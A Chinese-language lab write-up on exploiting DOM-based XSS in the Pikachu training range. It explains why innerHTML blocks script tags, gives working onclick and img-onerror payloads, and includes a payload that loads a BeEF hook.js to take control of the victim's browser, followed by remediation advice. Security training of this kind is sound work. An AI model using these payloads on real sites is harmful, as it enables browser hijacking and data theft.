前言:
在之前的关卡中,学习了反射型和存储型 XSS。今天在做 DOM 型 XSS 时,遇到是一个非常经典的浏览器安全机制限制问题。本文将记录如何发现 DOM XSS 漏洞,分析 innerHTML 的安全特性,并构造 Payload 实现 BeEF 钩子 (Hook) 的加载。
1. 功能点探测与现象分析
进入 Pikachu 的 DOM 型 XSS 关卡。
- 交互逻辑:页面有一个输入框和一个按钮。输入内容后点击 “click me!”,下方会出现一个 “what do you see?” 的超链接。
- 现象观察:点击生成的链接,页面会进行跳转(或者执行 href 中的内容)。

查看前端源码,核心逻辑如下:
function domxss(){var str = document.getElementById("text").value;
document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";
}
逻辑分析:JS 代码获取了输入框的值,然后通过字符串拼接的方式,拼凑成一个 <a> 标签,最后通过 innerHTML 写入到页面的 DOM 树中。
2. 渗透测试过程:从失败到成功
第一步:尝试常规 XSS Payload(失败)
根据以往经验,首先尝试闭合 <a> 标签并插入 <script> 标签:
Payload:
'><script>alert('xss')</script>
结果:页面虽然插入了标签,但并没有弹窗。
原因分析(重点):
这是由于浏览器的安全策略。在 HTML5 规范中,通过 innerHTML 插入的 <script> 标签是不会被执行的。虽然标签存在于 DOM 中,但它是“死”的。
第二步:利用事件句柄绕过(成功弹窗)
既然 <script> 标签不执行,可以利用 HTML 标签的 事件处理属性(Event Handlers),例如 onclick、onerror、onload 等。这些属性在 innerHTML 赋值时是会被正常解析的。
Payload:
'onclick="alert('xss')">
点击链接后,成功弹窗。但这还不够,需要更具危害性的攻击,上线 BeEF(也是 docker run 的镜像,端口为 3000,地址为 http://localhost:3000/ui/panel)。
第三步:构造 Payload 联动 BeEF
我的 BeEF 搭建在本地 Docker 中,Hook URL 为 http://localhost:3000/hook.js。
由于 innerHTML 不执行 <script src="...">,需要利用事件句柄(如 onerror)来执行一段 JS,这段 JS 的作用是 动态创建 一个新的 Script 标签并插入页面。
构造逻辑:
- 闭合前面的标签。
- 使用
<img>标签,故意设置错误的src触发onerror。 - 在
onerror中使用document.createElement动态加载 hook.js。 document.body.appendChild(s):将这个脚本标签插入到页面的<body>中,浏览器会自动加载并执行hook.js里的代码。
最终 Payload:
'><img src=x onerror="var s=document.createElement('script');s.src='http://localhost:3000/hook.js';document.body.appendChild(s);">
效果演示 :
输入 Payload 并点击按钮,当浏览器渲染这个错误的图片时,立即触发 JS 代码。

此时查看 BeEF 控制台,可以看到受害主机已经成功上线


3. 源码深度解析
回顾 xss_dom.php 的漏洞成因:
// 漏洞关键点
document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";
- 信任源问题:代码直接从用户输入 (
value) 获取数据,未做任何编码或过滤。 - 输出点问题:使用了
innerHTML属性。与innerText不同,innerHTML会将字符串解析为 HTML 标签。 - 利用难点与突破:虽然
innerHTML防御了直接的<script>注入,但无法防御基于事件(onerror/onclick)或<iframe>srcdoc的 XSS 攻击。
4. 总结与防御
通过本次实验,验证了在 DOM XSS 中:
innerHTML写入的<script>不会执行。- 可以通过
<img>等标签的onerror事件绕过此限制。 - 利用
document.createElement可以动态加载外部 JS 文件(如 BeEF),实现持久化控制或进一步攻击。
修复建议 :
在前端输出文本内容时,应尽量使用 innerText 或 textContent,如果必须使用 HTML,应使用第三方库(如 DOMPurify)对不可信数据进行清洗。